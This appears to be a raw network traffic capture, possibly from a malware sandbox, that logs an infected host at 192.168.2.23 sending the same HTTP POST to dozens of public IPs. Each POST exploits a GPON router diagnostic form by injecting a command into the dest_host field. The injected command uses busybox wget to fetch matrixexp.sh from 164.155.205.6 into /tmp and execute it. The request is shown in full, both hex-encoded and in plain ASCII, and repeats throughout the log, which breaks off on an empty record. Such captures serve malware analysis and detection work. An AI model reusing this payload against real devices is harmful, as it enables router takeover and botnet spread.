Mar 2, 2024 12:36:51.843894958 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	53204	2.69.201.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843934059 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	60264	94.120.113.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843955994 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	53994	42.209.21.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.843986988 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	60644	109.21.186.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844012022 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	38772	37.203.108.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844036102 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	37612	79.180.162.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844074011 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	48938	2.16.42.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844096899 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	36222	2.142.121.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844136000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	59528	210.95.213.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844158888 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	35484	178.119.240.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844176054 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	38756	79.213.5.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844208002 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	45142	79.128.212.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844216108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	39230	5.230.125.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844250917 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	52776	5.112.145.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844264030 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	41270	79.56.19.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844307899 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	55798	42.75.142.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844340086 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	38550	42.225.16.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844357967 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	53728	79.126.237.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844357967 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	51386	94.98.241.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844393969 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	51666	118.72.184.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844425917 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	33418	94.114.89.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844439983 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	48272	79.66.190.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844454050 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	41838	37.183.134.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844491005 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	59182	178.35.111.97	443

Timestamp	Bytes transferred	Direction	Data
